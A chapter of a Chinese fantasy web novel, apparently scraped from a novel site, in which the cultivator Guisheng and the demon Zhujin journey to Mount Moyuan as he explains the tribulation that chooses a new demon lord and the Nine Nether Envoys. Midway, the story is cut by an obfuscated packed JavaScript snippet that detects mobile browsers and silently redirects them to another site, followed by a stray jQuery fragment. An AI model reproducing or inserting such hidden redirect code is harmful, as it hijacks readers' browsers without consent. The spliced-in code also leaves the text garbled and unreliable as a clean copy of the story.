归笙求生若渴地瞪着他,奄奄一息道:“你真的没发现……沙眼把我吞得只剩下了个脑袋……在这里和你对话吗……我刚才一直攒着一口气……现在这口气泄了……你再不把我拔出来……我就要……呃……” 烛烬打出一记响指,险些将归笙活活闷死的沙涡顷刻凭空消失。 重获新生,归笙软绵绵瘫坐下来,捂住差点被压断的肋骨咳嗽。 她咳得太过撕心裂肺,烛烬站在旁边,渐渐地也有些不自在了。 他迟疑地道:“被埋了一下……有这么严重?” 归笙:“请不要……拿你们魔族的抗造程度……类比人族……” 烛烬:“……我知道了。” 一人一魔动身之际,烛烬又提出条件:“你不准用原身。” 归笙:“?” 他完整的要求是:体型便于携带,能自己移动,不会说话。 烛烬:“另外两条可以适当放宽,最后一条必须严格遵守。” 归笙:“……” 寄魔篱下,她只得乖乖听话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747934|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归笙在各地生物图谱上看过北原的一种雪山鸟雀,遂化之。 于是一魔一鸟就这么上路了。 烛烬的伤貌似已经彻底好了,赶路的速度只能说是风驰电掣,一魔一鸟很快就离开了西漠的地界,进入了北原的域境。 之后的一路下来,归笙可算亲眼见识了北原是何等离奇凶险之地。 荒原暴雪昼夜不息,灰蒙低沉的天顶,似一口随时会倾盖下的炼狱焚炉,将北原万物炼化殆尽。 吹来的狂风中掺杂剧毒,降下的冰雹间潜藏针刀,原以为能掬水洗脸的小溪是虎视眈眈的溪妖,就连道旁不起眼的杂草,路过时都要提防它把自个儿连根拔起咬你一口。 而即便在如此恶劣的环境下,北原的住民们也非常热爱出门,不说随处可见的小规模斗殴厮杀,就连大规模的族群间的地盘争霸,一魔一鸟短短半月间都撞上了不下百起。 生存环境委实恶劣得很。 还好有烛烬这个从小在北原摸爬滚打长大的,带着她一路轻车熟路辟易牛鬼蛇神无数,一魔一鸟很快就有惊无险地来到了魔元山外围。 然而越靠近魔元山,归笙越觉得不对劲:“怎么这么热闹?” 朝魔元山方向进的妖魔鬼怪,密度高到了一个不可思议的地步。 这不,话刚说完,归笙就和一只飘过的鬼火撞了个正着。 鬼火火速肇事逃逸,归笙则当场燃了起来。 烛烬将变成火球的归笙拎下来,五指一拢,攥灭了她身上的火光。 他道:“天劫将至,要授命新任魔尊了。” 归笙“咳咳咳”地直喷黑烟:“听不懂。” 烛烬:“……” 归笙觉得烛烬有一点是极好的,那就是有问必答。 只要她开了口,他就不会让她的话掉到地上,十分的富有礼貌。 当然也有可能是怕她聒噪地穷问不舍,所以提前主动解惑,把这个烦他的苗头扼死在摇篮里。 总而言之,经过烛烬的一番介绍,归笙大致捋清了是怎么一回事—— 与地盘老大的形成机制不同,北原的魔尊并非是从北原的各路妖魔鬼怪、魑魅魍魉中厮杀而出,而是纯粹由天劫选定。 通俗点来说,就是天劫劈到谁,谁就是下一任的北原魔尊。 但这天劫也不是随时随地地乱劈,只有当上一任魔尊死了,下一轮天劫才会来临。 天劫劈的范围也极其有限,仅限于魔元山顶峰的一小块地。 所以得知天劫即将来临后,各路人马纷纷赶赴魔元山,以期能够被天劫眷顾地劈中,然后风光登临魔尊的宝座。 归笙:“成为魔尊有什么好处吗?” 烛烬:“听起来威风。” 归笙等了半天,没等到烛烬继续往下说。 她匪夷所思地瞪大了眼:“……没,没了?” 烛烬漠然地道:“没了。你以为有什么好处。” 归笙掰起手指数道:“比如能独占魔元山这个北原最强灵源,自此修为一骑绝尘,睥睨众生桀骜天下,一呼百应驱策北原万鬼……之类的。” 烛烬听得无语:“你想多了,九幽魔使都还活着,暂时轮不到魔尊享用魔元山。” 归笙迷茫地请教:“九幽魔使又是哪位?” 烛烬嘴角抽了抽:“你不是中州的修士么,你们宗门这都没教?” 归笙掩面垂泪,呜呜抽泣着道:“我自小由于体质原因,从来没有资格和寻常弟子一道学习课业,我也不想的……” 烛烬:“……” 然后归笙就知道了,九幽魔使不是哪位,而是哪九位。 北原有句俗话,叫“流水的魔尊,铁打的九幽魔使”。 魔元山高逾万丈,悬崖峭壁错落起伏,天然分作九段,每段转折处灵髓堆积,形成魔鼎,久而久之,这九座魔鼎便成了魔元山的灵髓最强盛之处。 这些魔鼎并非纯粹的死物,它们像某种由灵髓构筑的野兽,本能地进食,本能地追求强大。 而进食的方式,便是在整个五方域境内寻找与自身秉性相似的妖魔鬼怪,将它们掳入鼎中,炼化掉它们的肉身,攫取其髓华,吞噬其元魂,以增强魔鼎自身的实力。 当然,这是在顺利的情况下。 能在北原生存,又能被魔鼎赏识的妖魔鬼怪,通常都有两把刷子。 所以,不顺利的情况,则是这个被掳掠来的妖魔鬼怪,即便自身肉身被炼,但元魂一息尚存,反过来利用了魔鼎得天独厚的灵髓,反制住了魔鼎,成为盘踞一方的九幽魔使之一。 魔使反制魔鼎的方式各有不同:或和魔鼎元魂相连,相依相存;或和魔鼎始终看不对眼,相互厮杀,力图搞死对方;或和魔鼎达成协议,各取所需,互不干涉等。 所以,北原最充沛的灵髓,实际上是被这九位魔使占据了。 但坏就坏在,魔元山天然形成的阻截阵法,令任何的传送术法都无法生效,北原众魔想当上魔尊,必须得先穿过这九座魔鼎,才能登上魔元山顶。 试想,一行人大摇大摆地穿过你家,目的还是瓜分你家的金条,你作何感想? 反正历来每一次天劫降至,九座魔鼎前都免不了一场血腥的厮杀。 说是厮杀也不准确,基本是九幽魔使利用魔鼎进行单方面的屠杀。 曾经的一位魔使大开杀戒后心情大好,大手一挥,将九段山路分出九千步台阶,命名为“九千陨阶”,美其名曰方便后来者攀登魔元山,实则寓意登阶则陨,以此告诫后来者:不要白费力气,原路返回罢。 归笙听得叹为观止:“就,完全没人能杀得了九幽魔使?” 烛烬:“也不是,只是相对魔尊来说,九幽魔使通常活得更久,有许多人也是冲着除掉九幽魔使取而代之来的。” 归笙:“那,你是为了什么来的?” 烛烬顿了顿。 在那一刻,归笙看到他那双浅金色的眸光黯淡下去,漫开一片无尽的迷惘。 那迷惘之深,似多年跋涉在迷雾之中,却遍寻不得一星光亮。 良久,他道:“寻找玄婴一族灭族的真相。”